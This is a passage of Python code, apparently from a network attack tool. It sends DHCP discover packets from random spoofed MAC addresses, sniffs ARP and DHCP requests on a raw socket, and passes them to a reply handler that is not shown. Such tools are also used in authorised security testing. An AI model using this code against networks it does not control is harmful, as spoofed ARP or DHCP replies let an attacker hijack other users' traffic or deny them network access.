          if args.discover_rand_mac:
              dhcp_discover_packets_source_mac = eth.get_random_mac()
              Base.print_info("DHCP discover packets Ethernet source MAC: ", dhcp_discover_packets_source_mac,
                              " (random MAC address)")
          else:
              dhcp_discover_packets_source_mac = your_mac_address
              Base.print_info("DHCP discover packets Ethernet source MAC: ", dhcp_discover_packets_source_mac,
                              " (your MAC address)")
  
          Base.print_info("Delay between DHCP discover packets: ", str(args.discover_delay))
          tm.add_task(discover_sender)
      # endregion
  
      # region Sniff network
  
      # region Create RAW socket for sniffing
      raw_socket = socket(AF_PACKET, SOCK_RAW, htons(0x0003))
      # endregion
  
      # region Print info message
      Base.print_info("Waiting for a ARP or DHCP requests ...")
      # endregion
  
      # region Start sniffing
      while True:
  
          # region Try
          try:
  
              # region Sniff packets from RAW socket
              packets = raw_socket.recvfrom(2048)
  
              for packet in packets:
  
                  # region Parse Ethernet header
                  ethernet_header = packet[0:eth.header_length]
                  ethernet_header_dict = eth.parse_header(ethernet_header)
                  # endregion
  
                  # region Could not parse Ethernet header - break
                  if ethernet_header_dict is None:
                      break
                  # endregion
  
                  # region Ethernet filter
                  if target_mac_address is not None:
                      if ethernet_header_dict['source'] != target_mac_address:
                          break
                  else:
                      if ethernet_header_dict['source'] == your_mac_address:
                          break
                      if dhcp_discover_packets_source_mac is not None:
                          if ethernet_header_dict['source'] == dhcp_discover_packets_source_mac:
                              break
                  # endregion
  
                  # region ARP packet
  
                  # 2054 - Type of ARP packet (0x0806)
                  if ethernet_header_dict['type'] == arp.packet_type:
  
                      # region Parse ARP packet
                      arp_header = packet[eth.header_length:eth.header_length + arp.packet_length]
                      arp_packet_dict = arp.parse_packet(arp_header)
                      # endregion
  
                      # region Could not parse ARP packet - break
                      if arp_packet_dict is None:
                          break
                      # endregion
  
                      # region ARP filter
                      if arp_packet_dict['opcode'] != 1:
                          break
                      # endregion
  
                      # region Call function with full ARP packet
                      reply({
                          'Ethernet': ethernet_header_dict,
                          'ARP': arp_packet_dict
                      })
                      # endregion
  
                  # endregion
  
                  # region IP packet
  
                  # 2048 - Type of IP packet (0x0800)
                  if ethernet_header_dict['type'] == ip.header_type:
  
                      # region Parse IP header
                      ip_header = packet[eth.header_length:]
                      ip_header_dict = ip.parse_header(ip_header)
                      # endregion
  
                      # region Could not parse IP header - break
                      if ip_header_dict is None:
                          break
                      # endregion
  
                      # region UDP
                      if ip_header_dict['protocol'] == udp.header_type:
  
                          # region Parse UDP header
                          udp_header_offset = eth.header_length + (ip_header_dict['length'] * 4)
                          udp_header = packet[udp_header_offset:udp_header_offset + udp.header_length]
                          udp_header_dict = udp.parse_header(udp_header)
                          # endregion
  
                          # region Could not parse UDP header - break
                          if udp_header is None:
                              break
                          # endregion
  
                          # region DHCP packet
  
                          if udp_header_dict['destination-port'] == 67 and udp_header_dict['source-port'] == 68:
  
                              # region Parse DHCP packet
                              dhcp_packet_offset = udp_header_offset + udp.header_length
                              dhcp_packet = packet[dhcp_packet_offset:]
                              dhcp_packet_dict = dhcp.parse_packet(dhcp_packet)
                              # endregion
  
                              # region Could not parse DHCP packet - break
                              if dhcp_packet_dict is None:
                                  break
                              # endregion
  
                              # region Call function with full DHCP packet
                              full_dhcp_packet = {
                                  'Ethernet': ethernet_header_dict,
                                  'IP': ip_header_dict,
                                  'UDP': udp_header_dict
                              }
                              full_dhcp_packet.update(dhcp_packet_dict)
  
                              reply(full_dhcp_packet)
                              # endregion
  
                          # endregion
  
                      # endregion
  
                  # endregion
  
              # endregion
  
          # endregion
  
          # region Exception - KeyboardInterrupt
          except KeyboardInterrupt:
              Base.print_info("Exit")
              exit(0)
          # endregion
  
      # endregion
  
      # endregion
  
  # endregion
  